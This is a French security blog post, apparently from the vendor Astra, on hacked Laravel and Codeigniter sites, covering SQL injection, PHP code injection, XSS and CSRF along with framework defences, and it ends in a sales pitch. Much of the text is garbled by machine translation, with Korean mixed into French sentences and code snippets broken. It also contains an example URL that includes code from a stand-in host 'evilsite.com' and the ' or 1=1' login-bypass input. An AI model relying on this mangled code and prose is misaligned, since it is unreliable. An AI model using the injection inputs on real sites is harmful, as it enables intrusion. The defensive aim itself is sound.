Laravel et Codeigniter sont tous deux des frameworks PHP 대중적 활용 활용도 웹 사이트 웹. Leur Popularité peut également être accréditée par la nature 오픈 소스 des deux 프레임워크. Cependant, les utilisateurs doivent comprendre que le déploiement de sites utilisant ces frameworks ne les rend pas sûrs. Ce sont les pratiques de développement sécurisées qui comptent. L'injection SQL dans Codeigniter et l'injection SQL dans Laravel sont les deux sujets de sécurité les plus courants sur les forums d'aide. En dehors de SQLi, les pratiques de développementriskeuses font également les site vulnérables aux XSS, CSRF, attaques RFI etc.
사이트 웹 Codeigniter 및 Laravel 해적:예
Des atttaques comme l'injection SQL dans Codeigniter 또는 Laravel peuvent compromettre le site Web. Ces attaques sont assez courantes et répandues. Par conséquent, un grand nombre d'utilisateurs souffrant d'attaques similaires peuvent être trouvés demandant de l'aide sur le forum de la communauté Laravel ou le forum de la communauté Codeigniter . 특정 드 세스는 손도네 시데수를 예로 들 수 있습니다.
라라벨 해킹과 코드이그니터의 증상
- Laravel과 Codeigniter는 피싱 페이지에서 정보를 감지하고 사이트 웹에서 정보를 제공합니다.
- Les utilisateurs se plaignent d'être redirigés vers des site malveillants.
- Gibberish apparaît sur le site de Laravel ou Codeigniter en raison du hachage de mots-clés japonais ou du hack Pharma 등
- Le site Web de Laravel ou Codeigniter devient très lent et affiche des messages d'erreur.
- Lors de l'utilisation d'un hébergement tiers, "Votre compte a été suspendu !" 장치
- Laravel ou Codeigniter est mis sur liste noire par les moteurs de recherche .
- Les journaux d'erreurs montrentsurees attaques comme l'injection SQL dans Codeigniter sur le site.
- Les journaux affichent la connexion au site Web à partir d'adresses IP distancees.
- De nouveaux administrateurs voyous apparaissent dans la base de données de connexion.
Codeigniter 또는 Laravel 해킹의 근본 원인
1) Codeigniter 또는 Laravel Hack:공격 파 주입
a) Laravel의 Codeigniter와 SQL 주입
L'injection SQL dans Codeigniter est une attaque très courante qui est largement répandue sur le Web. Comme son nom l'indique, l'attaque cible la base de données du Serveur. Exploitant l'injection SQL dans Codeigniter, l'attaquant peut:
- Récupérez les données de la base de données.
- 수정자 le contenu de la base de données (comprend la suppression de la base de données entière!)
- Dans Sures cas, obtenir un shell inverse.
- Contournement en utilisant une entrée comme ou 1 =1 인증
b) Codeigniter / Laravel과 PHP 코드 삽입
코드 삽입 PHP est un autre type de vulnérabilité courante qui permet aux attaquants d'executer du code sur le site Web Laravel / Codeigniter. Cependant, elle diffère de l'injection de commandes dans le sens où l'attaquant ne peut exécuter que les commandes de ce langage particulier. L'injection de commandes permet à un attaquant d'executer des commandes via un shell inverse. Par exemple, le paramètre vulnérable peut être fourni avec un Lien vers un fichier malveillant qui contient du code PHP à exécuter, à savoir https://testsite.com/?page=https://evilsite.com/evilcode.php피>
Ce fichier peut contenir des fonctions comme phpinfo() qui peuvent être utilisées pour obtenir des information.
2) Codeigniter 또는 Laravel Hack:Codeigniter/Laravel과 함께 교차 사이트 스크립팅
La vulnérabilité XSS se produit dans les sites Web Laravel / Codeigniter en raison du manque de nettoyage des entrées. Les deux cadres on des fonctions de sécurité spécialement conçues pour éviter ces atttaques. Exploitant une attaque XSS, les attaquants peuvent:
- 피싱에 대한 활용도가 높은 쿠키와 도네의 세션 감각을 활용하십시오.
- Redirigez les utilisateurs vs un site malveillant.
- 유틸리제 푸어 컨투어너 라 스트래티지 드 밈 오리진.
3) Laravel 및 Codeigniter Hack:Codeigniter / Laravel에서 요구하는 사이트 간 위조
Cette attaque vise à inciter les utilisateurs à effectuer des action indésirables. Cependant, ce type d'attaque ne peut être utilisé que pour manipuler les données (suppression de Formulaires 등) et non pour les voler ou les lire. Dans le pire des cas, si lavictime est l'administrateur, l'application entière peut être détruite. Cette attaque 활용 des astuces d'ingénierie sociale pour inciter les 희생자 à cliquer sur un Lien qui exécute des Commandes comme la suppression d'un compte en arrière-plan.
Laravel piraté의 Codeigniter?. Envoyez-nous un message sur le widget de chat et nous serons heureux de vous aider à résoudre ce problème. 일. 사이트 웹 Laravel / Codeigniter piraté 수정 .
4) Protéger 투표 사이트 Web Codeigniter / Laravel
Codeigniter 및 Laravel Hack:Codeigniter와 SQL의 éviter l'injection
Codeigniter est livré avec destons de fonctionnalités de sécurité. 특정 항목 d'entre eux incluent des fonctions et des bibliothèques pour éviter l'injection SQL dans Codeigniter. Dans cet article, j'expliquerai 3 methodes principales pour accomplir la tâche une par une.
Codeigniter 및 Laravel Hack:Codeigniter와 함께 사용하는 échapper aux requetes
Échapper les données avant de les soumettre à l'application PHP les désinfecterait. C'est donc une pratique sûre qui doit être suivie régulièrement. Meme les requetes d'échappement peuvent être effectuées via trois methodes:
- $ this-> db-> 이스케이프(): determine le type de données avant de s'échapper
- $ this-> db-> escape_str(): ne determine pas le type de données, l'échappe simplement.
- $ this-> db-> escape_like_str(): Peut être utilisé avec des conditions.
청징제 davantage를 따르십시오. l'extrait de code ci-dessous를 참조하십시오.
<작다> PHP
$ email =$ this-> input-> post('이메일');
$ 쿼리 ='SELECT * FROMsubscribers_tbl WHERE user_name ='. $ this-> db-> 이스케이프($ 이메일);
$ this-> db-> 쿼리($ 쿼리);
?>작은>
Dans ce code, la fonction $ this-> db-> escape () d'abord le type de données afin d'échapper uniquement les données de chaîne. De plus, il ajoute automatiquement les guillemets simples autour des données d'entrée. Cela empêche l'injection SQL dans Codeigniter.
Codeigniter 및 Laravel Hack:Codeigniter와 연락 요청
Les requetes de liaison peuvent également simplifier le code en plus de nettoyer les entrées du site Web Codeigniter. Cette méthode permet au système deposer des requetes, réduisant ainsi la complexité pour le développeur. 예를 들어, 코드 ci-dessous를 고려하십시오.
<작다> php $ sql ="SELECT * FROM subscribers_tbl WHERE 상태 =? 그리고 이메일 =?”; $ this-> db-> query ($ sql, array ('active', '[email protected]'));?>
Ici, vous pouvez remarquer des Points d'interrogation dans la première ligne au Lieu de Valeurs. En raison de la liaison de requete, ces points d'interrogation sont remplacés à partir des valeurs du tableau sur la deuxième ligne. Dans l'exemple précédent, nous avons vu une requête manuelle s'échapper, mais ici, cette méthode l'accomplit automatiquement. De ce fait l'arrêt de l'injection SQL dans Codeigniter.
Codeigniter 및 Laravel Hack:Codeigniter와 함께 클래스에 등록하기
La fonction d'enregistrements actifs de Codeigniter nous permet d'effectuer des opérations de base de données avec un minimum de lignes de code ou de scripts. Puisqu'il s'agit d'une fonction du système lui-même, l'échappement de la requete se fait automatiquement. Par exemple, toutes les données de la table peuvent être récupérées par une simple requete:
$ 쿼리 =$ this-> db-> get('mytable');
Codeigniter 또는 Laravel Hack:Laravel과 Laravel에 SQL을 주입합니다.
Laravel의 지도 관계 관계-오브제 드 Laravel 활용 la liaison de données d'objet PHP pour désinfecter les entrées utilisateur, ce qui empêche à Son tour l'injection SQL Laravel. La liaison de paramètres ajoute également des guillemets automatiquement, empêchant ainsi une entréeriskeuse comme ou 1 =1 decontourner l'authentification.
$ result =DB ::select ('select * from users where id =:id', ['id' => 1]);
Voici une implémentation d'une requete de liaison nommée dans Laravel.
Codeigniter 또는 Laravel Hack:코드이그나이터와 코드이그나이터 간의 스크립트 간
éviter d'éventuelles atttaques XSS, Codeigniter est livré avec un filtre XSS 사전 구성을 따르십시오. Dans le cas où ce filtre rencontre une demande malveillante, il la convertit en son entité de caractère, protégeant ainsi l'application. la methode xss_clean ()를 통해 액세스할 수 있는 Ce 필터 :
$ data =$ this-> security-> xss_clean ($ data);
Cependant, les attaquants peuvent parfois injecter du code malveillant dans les fichiers image. 푸어 에비터 드 텔레 아타크, la sécurité des fichiers téléchargés peut également être vérifiée. 본보기, 코드 Donné ci-dessous를 고려하십시오.
if ($ this-> security-> xss_clean ($ file, TRUE) ===FALSE)
{
// le fichier a échoué au test XSS
}
CE 코드 renverra une valeur booléenne True si l'image est sûre 그 반대도 마찬가지입니다. Cependant, il convient de noter ici qu'il est conseillé d'utiliser la méthode html_escape () si vous souhaitez filtrer les valeurs d'attribut HTML.
Codeigniter ou Laravel Hack:éviter les scripts Laravel 크로스 사이트
En utilisant une chaîne d'échappement, les attaques XSS peuvent être évitées sur les sites Web de Laravel. Les chaînes d'échappement empêcheront la mise en œuvre d'une entrée non autorisée. Cependant, il est à noter ici que dans les versions Laravel> 5.1, cette fonctionnalité est activée par défaut. Par conséquent, lorsque l'entrée comme ceci:
<입력 유형 ="텍스트" 이름 ="작업" 최대 길이 ="10">
La meme은 une fonction JS를 통해 peut être implémentée를 선택했습니다. 더하기 구문 {% raw%} {{}} {% endraw%} dans Laravel peut par défaut échapper à toutes les entités HTML malveillantes transmises. De plus, certaines bibliothèques sont spécialement conçues pour cette tâche et pourraient être utilisées pour empêcher Laravel XSS. Si vous utilisez un moteur de modèle comme Blade, il utilisera automatiquement l’échappement pour empêcher de telles attaques.
Codeigniter ou Laravel Hack:empêcher les attaques CSRF dans Codeigniter
La protection CSRF peut être activée dans Codeigniter en modifiant le fichier application / config / config.php. Ajoutez simplement le code suivant au fichier:
$ config [‘csrf_protection’] =TRUE;
Pour les utilisateurs qui utilisent Form Helper, la fonction form_open () peut par défaut insérer un champ de jeton CSRF masqué dans les formulaires. L’autre façon de mettre en œuvre la protection CSRF consiste à utiliser get_csrf_token_name () et get_csrf_hash () . Pour référence, regardez les deux extraits de code ci-dessous d’un formulaire et d’une implémentation côté serveur.
$ csrf =tableau (
‘name’ => $ this-> security-> get_csrf_token_name (),
‘hash’ => $ this-> security-> get_csrf_hash ());
————————————————– ——————
” value =“ =$ csrf [‘hash’];?>” />
La régénération des jetons est également une autre pratique sûre pour empêcher les attaques Codeigniter CSRF. Cependant, la régénération des jetons peut être problématique car les utilisateurs peuvent avoir besoin d’une nouvelle validation après avoir navigué vers d’autres onglets. La régénération de jeton peut être effectuée par le paramètre de configuration suivant:
$ config [‘csrf_regenerate’] =TRUE;
Codeigniter ou Laravel Hack:prévenir les attaques CSRF dans Laravel
Les jetons sont implémentés sous des formes Laravel pour se protéger des attaques CSRF. Ces jetons sont ensuite appelés à l’aide d’un appel AJAX qui peut être trouvé intégré dans chaque formulaire. Les données du jeton de demande sont mises en correspondance avec celles stockées sur le serveur pour la session de l’utilisateur vérifiant les anomalies. Les jetons CSRF peuvent être transmis aux formulaires à l’aide du code suivant ( implémentation des modèles de lame ):
{!! csrf_field () !!}
Cependant, le jeton CSRF peut être ajouté par défaut lors de l’utilisation du package LaravelCollective / HTML.
Codeigniter ou Laravel Hack:Bloquer les rapports d’erreur
Les erreurs de fichier sont utiles dans l’environnement de développement. Cependant, sur le Web, les erreurs de fichier Codeigniter peuvent divulguer des informations potentiellement sensibles aux attaquants. Par conséquent, il est recommandé de désactiver le rapport d’erreurs.
Erreurs PHP
Pour désactiver le rapport d’erreurs PHP, utilisez le fichier index.php. Passez simplement zéro comme argument à la fonction error_reporting (). Regardez l’exemple donné ci-dessous pour référence.
error_reporting (0);
Cependant, pour CodeIgniter version 2.0.1 et supérieure, la constante d’environnement dans le fichier index.php peut être définie sur «production» afin de désactiver les sorties d’erreur PHP.
Erreurs de base de données
Les erreurs de base de données peuvent être désactivées en modifiant le fichier application / config / database.php. Définissez simplement l’option db_debug sur FALSE. Regardez l’exemple ci-dessous pour référence:
$ db [‘default’] [‘db_debug’] =FALSE;
Journalisation des erreurs
Un moyen intelligent serait de transférer les erreurs survenues dans les fichiers journaux, ce qui les empêcherait de s’afficher. L’option seuil de journalisation du fichier /config/config.php peut être définie sur 1 à cet effet. Regardez l’exemple donné ci-dessous.
$ config [‘log_threshold’] =1;
Utiliser un pare-feu d’application Web pour Laravel ou Codeigniter
Même les experts peuvent manquer certains paramètres qui pourraient rendre le site Laravel / Codeigniter vulnérable. De plus, les attaquants trouvent constamment de nouvelles façons de compromettre votre site. Par conséquent, une autre pratique sécurisée consiste à utiliser un pare – feu ou une solution de sécurité quelconque. Astra est une telle solution de sécurité conçue pour répondre à vos exigences flexibles. Payez uniquement pour ce que vous utilisez. Astra est une solution de sécurité prête à l’emploi avec des tarifs à partir de 9 $ par mois. Envoyez-nous un message et rapprochez-vous de la sécurisation de votre code PHP. Obtenez une démo maintenant!
Astra fournit un audit de sécurité complet pour votre site Web Laravel ou Codeigniter avec plus de 80 tests actifs, une bonne combinaison de tests manuels et automatisés.